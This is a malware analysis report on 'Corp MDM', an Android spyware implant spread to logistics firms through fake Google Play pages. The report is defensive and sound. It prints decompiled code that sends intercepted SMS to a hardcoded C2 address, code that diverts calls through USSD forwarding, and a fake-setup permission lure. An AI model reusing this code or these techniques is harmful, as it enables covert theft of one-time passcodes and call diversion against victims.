Inside Corp MDM, the Android spyware targeting logistics companies

Overview#
A malware campaign targeting the logistics sector used fake Google Play pages branded as CEVA and TKW Logistics to distribute an Android Package Kit (APK) file disguised as a system service. The delivered app, package com.corp.mdm, is a compact surveillance implant designed to exfiltrate newly received SMS content, divert calls, and maintain a hidden foreground service.
The implant is narrow by design. It does not contain the broad surveillance functions often associated with commercial Android spyware. We assess that the threat actor likely used AI during development, and the spyware contains bugs that hinder its capabilities.
The observed Android spyware was a subset of a wider campaign that we assess with high confidence primarily targeted the logistics sector. The broader campaign included credential phishing and Windows-based malware, with indicators suggesting Armenian and Russian links.
Have I Been Squatted has previously reported on Diesel Vortex, a Russian and Armenian cybercrime group that used phishing to facilitate cargo theft. There is no evidence that the two groups are the same, although both strategically target the logistics sector to collect information that can facilitate cargo theft.
From fake Play listing to hidden service#
The delivery pages reproduced the visual and information architecture of Google Play while operating from non-Google domains. They copied Play navigation, ratings, reviews, data-safety cards, support details, compatibility text, and install controls. Both listings then instructed visitors to open the downloaded APK and permit installation from unknown sources.

The domains hosted the malicious APK packages on playgoogle.logisticstkwcargo[.]com and playgoogle.ceva-app[.]help, which both resolved to the same virtual private server (VPS) IP address, 69.55.61[.]82. Both sites were tailored to the corresponding logistics firm, although they hosted the same APK.
This same IP address is hardcoded by the implant for command and control (C2). The operator panel was served from that address on Transmission Control Protocol (TCP) port 3456 and exposed its own route for downloading the same APK.
| Evidence | TKW Logistics lure | CEVA Logistics lure |
|---|---|---|
| Delivery host | playgoogle[.]logisticstkwcargo[.]com | playgoogle[.]ceva-app[.]help |
| Effective APK path | /app.apk | /download/app.apk |
The C2 IP address 69[.]55[.]61[.]82 was also used to host credential-phishing lures and additional Windows malware targeting the logistics sector. We assess that this broader activity collected information to facilitate cargo theft. The wider campaign may be explored in future research.
Execution chain#
The recovered chain begins in the browser, crosses into Android through a sideloaded package, and then splits into collection, call-forwarding, and cleanup behavior.
Execution chain
Fake logistics app to SMS theft and call diversion
Shared delivery pages impersonate Google Play and present logistics-themed applications to the victim.
The pages reproduce Play navigation, ratings, reviews, data-safety claims, and install controls on non-Google domains.
Embedded Android browsers are redirected into Chrome while tracking values are preserved as sub90 and p_id parameters.
The pages try a progressive web application flow before falling back to direct Android package delivery.
Observed evidence
- playgoogle.ceva-app[.]help
- playgoogle.logisticstkwcargo[.]com
- package=com.android.chrome
- pwa_fallback: apk
Client capabilities
Behavior versus operator-panel claims
SMS_RECEIVED
New-message interception
Reports each newly received SMS PDU to the C2.
New inbound SMS reports
Observed behavior
- Collects sender, body, timestamp, and Android ID.
- Requires RECEIVE_SMS to be granted.
- Uses cleartext HTTP and has no offline retry queue.
Capability boundary
- No historical inbox synchronization, multipart reconstruction, contact theft, or call-log collection is implemented.
Sample identity#
All observed APKs were identical, regardless of their delivery method.
| Attribute | Value |
|---|---|
| Package | com.corp.mdm |
| Application label | System Service |
| Minimum Android version | API 26, Android 8.0 |
| Target and compile API | API 34 |
| APK size | 6,119,715 bytes |
| APK SHA-256 | 61954bab16df91e7a1c940a2bdd5a5cf3c61b529a7c75a5ff21ac78f15c61a86 |
The APK is signed with a self-issued certificate whose subject and issuer are both CN=Corp MDM,OU=Mobile,O=Corp,L=Unknown,ST=Unknown,C=US. Its validity begins on June 3, 2026, and extends to 2053. Its SHA-256 fingerprint is 29f0f6c51fda728b91aaa299cf14758f01d7d83e941a549e26b8fbf2eb70fc42.
Only seven top-level app-specific classes contain substantive logic: MainActivity, MdmService, MdmApp, BootReceiver, SmsReceiver, CallForwardManager, and ApiClient.
Permission capture behind a fake setup#
MainActivity removes the title bar, forces a full-screen display, and presents a progress sequence framed as system configuration. It cycles through ten messages, including Initializing system..., Connecting to server..., Synchronizing data..., Applying settings..., and Starting services....
Half a second after launch, the activity asks for RECEIVE_SMS, READ_SMS, and CALL_PHONE. Android 13 and later also receive a POST_NOTIFICATIONS request. The loader continues for roughly ten seconds, giving the interaction the appearance of a routine device setup rather than a permission grab.
Hidden, persistent, but not privileged#
When the progress sequence finishes, MainActivity starts MdmService, disables its own component, and exits. Pressing Back triggers the same routine immediately. Because MainActivity is the only launcher entry and the manifest excludes it from Recents, the app disappears from ordinary launcher and task-switcher views while remaining installed.
The foreground service uses a low-importance notification channel named System Service. Its ongoing notification is titled Android System and reads System service running. These strings provide plausible system cover while satisfying Android's foreground-service requirement.
Persistence relies on three conventional mechanisms:
MdmServicereturnsSTART_STICKY, allowing Android to recreate it after process loss.BootReceiverstarts registration and the service after normal boot or vendor quick boot.- The same receiver restarts the implant after package replacement.
SMS interception#
SmsReceiver handles the protected SMS_RECEIVED broadcast. For each SMS protocol data unit (PDU), it extracts the sender, message body, and received timestamp, attaches the Android identifier, and posts the data to /api/v1/sms/report.
@Override // android.content.BroadcastReceiver
public void onReceive(Context context, Intent intent) {
Bundle extras;
Object[] objArr;
if (intent == null || !"android.provider.Telephony.SMS_RECEIVED".equals(intent.getAction()) || (extras = intent.getExtras()) == null || (objArr = (Object[]) extras.get("pdus")) == null) {
return;
}
String string = extras.getString("format");
for (Object obj : objArr) {
SmsMessage smsMessageCreateFromPdu = SmsMessage.createFromPdu((byte[]) obj, string);
if (smsMessageCreateFromPdu != null) {
String displayOriginatingAddress = smsMessageCreateFromPdu.getDisplayOriginatingAddress();
String messageBody = smsMessageCreateFromPdu.getMessageBody();
String str = new SimpleDateFormat("yyyy-MM-dd'T'HH:mm:ss.SSS'Z'", Locale.US).format(new Date(smsMessageCreateFromPdu.getTimestampMillis()));
Log.d(TAG, "SMS from " + displayOriginatingAddress);
ApiClient.getInstance().reportSms(context, displayOriginatingAddress, messageBody, str, new ApiClient.SimpleCallback() { // from class: com.corp.mdm.SmsReceiver$$ExternalSyntheticLambda9
@Override // com.corp.mdm.ApiClient.SimpleCallback
public final void onResult(boolean z, String str2) {
Log.d(SmsReceiver.TAG, "SMS reported: " + (z ? "OK" : "FAIL " + str2));
}
});
}
}
}SmsReceiver processes new SMS broadcasts and passes the extracted message fields to reportSmspublic void reportSms(Context context, String str, String str2, String str3, SimpleCallback simpleCallback) {
HashMap map = new HashMap();
map.put("deviceId", getDeviceId(context));
map.put("sender", str);
map.put("body", str2);
map.put("receivedAt", str3);
postJson("http://69.55.61.82:3456/api/v1/sms/report", map, simpleCallback);
}ApiClient posts the intercepted SMS fields to the cleartext /api/v1/sms/report endpointThe receiver has no disk queue and no retry mechanism. If the request fails, the app logs the error and discards the report. Multipart messages are not reconstructed before transmission, so individual segments can arrive as separate records.
The distinction between RECEIVE_SMS and READ_SMS is important. Although the app requests both permissions, the recovered code never queries the inbox. The operator command named sync_sms only returns Sync initiated; it does not read or upload historical messages. The threat is interception of new inbound messages after permission grant, not retrospective extraction of the existing inbox.
That limited collection path is sufficient to expose high-value content. SMS remains common for one-time passcodes, password resets, account recovery, transaction notifications, and dispatch or delivery updates. The sender, full body, and timestamp all leave the device over cleartext HTTP.
Call forwarding#
The operator can send forward_on with a destination number. CallForwardManager strips all characters except digits and a leading plus sign, builds **21*<number>#, and submits it through TelephonyManager.sendUssdRequest. This invokes an Unstructured Supplementary Service Data (USSD) or Man-Machine Interface (MMI) forwarding sequence, depending on the carrier implementation. The forward_off command submits ##21#.
final String strReplaceAll = str.replaceAll("[^0-9+#]", HttpUrl.FRAGMENT_ENCODE_SET);
String str2 = "**21*" + strReplaceAll + "#";
Log.d(TAG, "Enabling forwarding to " + strReplaceAll + " via USSD: " + str2);
sendUssd(context, str2, new ForwardCallback() { // from class: com.corp.mdm.CallForwardManager.1
@Override // com.corp.mdm.CallForwardManager.ForwardCallback
public void onResult(boolean z, String str3) {
if (z) {
CallForwardManager.saveForwardState(context, true, strReplaceAll);
Log.d(CallForwardManager.TAG, "Forwarding enabled to " + strReplaceAll);
} else {
Log.e(CallForwardManager.TAG, "Forwarding failed: " + str3);
}
ForwardCallback forwardCallback2 = forwardCallback;
if (forwardCallback2 != null) {
forwardCallback2.onResult(z, str3);
}
}
});CallForwardManager constructs the unconditional forwarding code and passes it to sendUssdprivate static void sendUssd(Context context, String str, final ForwardCallback forwardCallback) {
TelephonyManager telephonyManager = (TelephonyManager) context.getSystemService("phone");
if (telephonyManager == null) {
if (forwardCallback != null) {
forwardCallback.onResult(false, "TelephonyManager unavailable");
return;
}
return;
}
try {
telephonyManager.sendUssdRequest(str, new TelephonyManager.UssdResponseCallback() {
@Override // android.telephony.TelephonyManager.UssdResponseCallback
public void onReceiveUssdResponse(TelephonyManager telephonyManager2, String str2, CharSequence charSequence) {
String string = charSequence != null ? charSequence.toString() : "OK";
Log.d(CallForwardManager.TAG, "USSD success: " + string);
ForwardCallback forwardCallback2 = forwardCallback;
if (forwardCallback2 != null) {
forwardCallback2.onResult(true, string);
}
}
});
}
}sendUssd uses Android TelephonyManager to submit the forwarding request to the mobile networkThese are requests for unconditional call forwarding and cancellation. Their outcome depends on the granted CALL_PHONE permission, Android telephony behavior, the subscriber's carrier, and the carrier's support for the code. The app's callback can report success without independently verifying the resulting network state.
The implant stores forward_active and forward_number in local preferences. Its heartbeat sends only the cached boolean. It does not query the carrier, confirm the destination, or detect a forwarding change made outside the app.
This creates the most important response nuance in the campaign. Call forwarding is carrier-side state. Once activated, it can persist after the app is uninstalled, its data is cleared, or its components are disabled. The self_destroy command does not call the forwarding-cancellation routine. Removal of the APK is therefore not evidence that call diversion has ended.
Corp MDM operator panel#
The same infrastructure exposed a password-protected Corp MDM admin panel on port 3456. Its login page used generic mobile device management branding over a CEVA-themed logistics background, visually linking the delivery lure, implant identity, and operator interface.

The authenticated interface presented device-management and tasking controls, but visible panel features are not equivalent to implemented client behavior. The recovered APK supports only the subset described below.
Command surface versus panel claims#
The client command dispatcher recognizes five values. Two additional controls visible in the saved operator panel are not supported by this build.
| Command or function | Client status | Recovered behavior |
|---|---|---|
ping | Implemented | Returns pong through the command-result endpoint |
forward_on | Implemented, conditional | Requests **21*<number># through Android telephony |
forward_off | Implemented, conditional | Requests ##21# and clears cached forwarding state after callback success |
sync_sms | Stub | Reports Sync initiated without reading SMS storage |
self_destroy | Implemented with limits | Disables components, stops the service, and requests app-data clearing |
get_location | Panel only | Falls through to Unknown: get_location |
lock_device | Panel only | Falls through to Unknown: lock_device |
self_destroy disables the activity, receivers, and service, stops foreground execution, and asks Android to clear application data. It does not uninstall the package. The code explicitly kills its process only if the clear-data request throws an exception.
The panel also claims server-side device deletion and denylisting. That operator-interface claim is not reflected in the client APK.
Cleartext C2 and brittle telemetry#
The app hardcodes http://69[.]55[.]61[.]82:3456 in its build configuration and API client. Android cleartext traffic is explicitly allowed in the manifest.
public void registerDevice(Context context, SimpleCallback simpleCallback) {
HashMap map = new HashMap();
map.put("deviceId", getDeviceId(context));
map.put("manufacturer", Build.MANUFACTURER);
map.put("model", Build.MODEL);
map.put("osVersion", String.valueOf(Build.VERSION.SDK_INT));
map.put("deviceName", Build.MANUFACTURER + " " + Build.MODEL);
postJson("http://69.55.61.82:3456/api/v1/devices/register", map, simpleCallback);
}registerDevice collects handset metadata and posts it to the hardcoded command-and-control route| Method and route | Trigger | Data |
|---|---|---|
POST /api/v1/devices/register | Setup completes or boot/update receiver runs | Android ID, manufacturer, model, API level, device name |
POST /api/v1/devices/heartbeat | Immediately, then nominally every 30 seconds | Android ID, battery value, cached forwarding boolean |
GET /api/v1/devices/{ANDROID_ID}/commands | After three seconds, then nominally every 10 seconds | Command list containing command and optional number |
POST /api/v1/sms/report | Each inbound SMS PDU | Android ID, sender, body, received timestamp |
POST /api/v1/commands/result | Executed or unknown command | Android ID, command, success flag, message |
Attribution#
We assess with medium confidence that the wider activity has an Armenian or Russian nexus. Within Corp MDM itself, the clearest localized artifact is Armenian. The operator panel prefills +374 for both the stored device phone number and the call-forwarding destination. The International Telecommunication Union assigns +374 to Armenia. Because these values appear as operator-side defaults rather than victim-derived telemetry, they likely reflect assumptions made during development or operation.

The Russian component of the assessment derives from source code elsewhere in the wider campaign and is not independently established by this APK or panel. The overlap with Diesel Vortex is limited to logistics-sector targeting and a cargo-theft objective. We do not have evidence that this is the same threat group.
Detection and response#
High-value behavioral sequence#
- a logistics-themed Google Play clone directs the target to sideload an APK
- the package
com.corp.mdm, labeledSystem Service, presents a full-screen setup flow - the setup requests SMS, telephone, and notification permissions
MainActivitystartsMdmService, disables its own component, and exitsBootReceiverrestarts registration and the sticky foreground service after boot or package replacement- the implant registers the handset with
69.55.61[.]82:3456over cleartext HTTP SmsReceiversends each newly received SMS PDU to/api/v1/sms/report- the service polls for commands that can request call forwarding, cancellation, liveness checks, or local cleanup
Host hunting#
Search for:
- the package name
com.corp.mdmor APK SHA-25661954bab16df91e7a1c940a2bdd5a5cf3c61b529a7c75a5ff21ac78f15c61a86 - an application labeled
System Servicewith a disabled launcher activity and active foreground service - the notification channel
System Service, notification titleAndroid System, or messageSystem service running. MdmService,BootReceiver, andSmsReceivercomponents in an unfamiliar sideloaded package- cleartext HTTP traffic to
69.55.61[.]82:3456, particularly the registration, heartbeat, command, result, and SMS-report routes - the local preference keys
forward_activeandforward_number
Recommendations#
Isolate affected Android devices and preserve the APK, package state, logs, and network evidence before cleanup. Revoke the application's SMS and telephone permissions, remove the package, and check for other applications installed from the same delivery source.
Verify call-forwarding state independently through the carrier or a trusted device workflow, then cancel any unauthorized diversion. Neither package removal nor the implant's self_destroy command proves that carrier-side forwarding has ended.
Treat SMS content received while the implant was active as exposed. Invalidate affected sessions and rotate credentials for accounts whose one-time codes, password resets, recovery messages, or transaction notifications may have reached the device.
Summary#
Corp MDM is a focused Android surveillance implant delivered through logistics-themed Google Play impersonation. This spyware has only been observed targeting the logistics sector, where adversaries seek information that can facilitate cargo theft. The wider campaign used the same logistics targeting in attempts to steal credentials and deploy malware on Windows hosts.
After launch, the app uses a fake system setup to request SMS and telephone permissions, hides its launcher activity, maintains a foreground service, restarts after boot or package replacement, and identifies the handset with ANDROID_ID. It exfiltrates each newly received SMS PDU and polls a cleartext, unauthenticated C2 for call-forwarding, liveness, synchronization-stub, and cleanup commands.
The durable response lesson is telephony state. Removing the APK, clearing its data, or observing its self-destruction does not automatically cancel call forwarding. Forwarding must be verified independently with the carrier or device after containment.
TTPs and IOCs#
The tactics, techniques, and procedures (TTPs) below use MITRE ATT&CK technique identifiers. Indicators of compromise (IOCs) follow in exportable lists grouped by type.
References#
Domain protection
Detect adversary infrastructure while it is being staged.
Have I Been Squatted helps security teams detect lookalike domains, certificate and DNS changes, and staging infrastructure, investigate the evidence, and coordinate takedowns.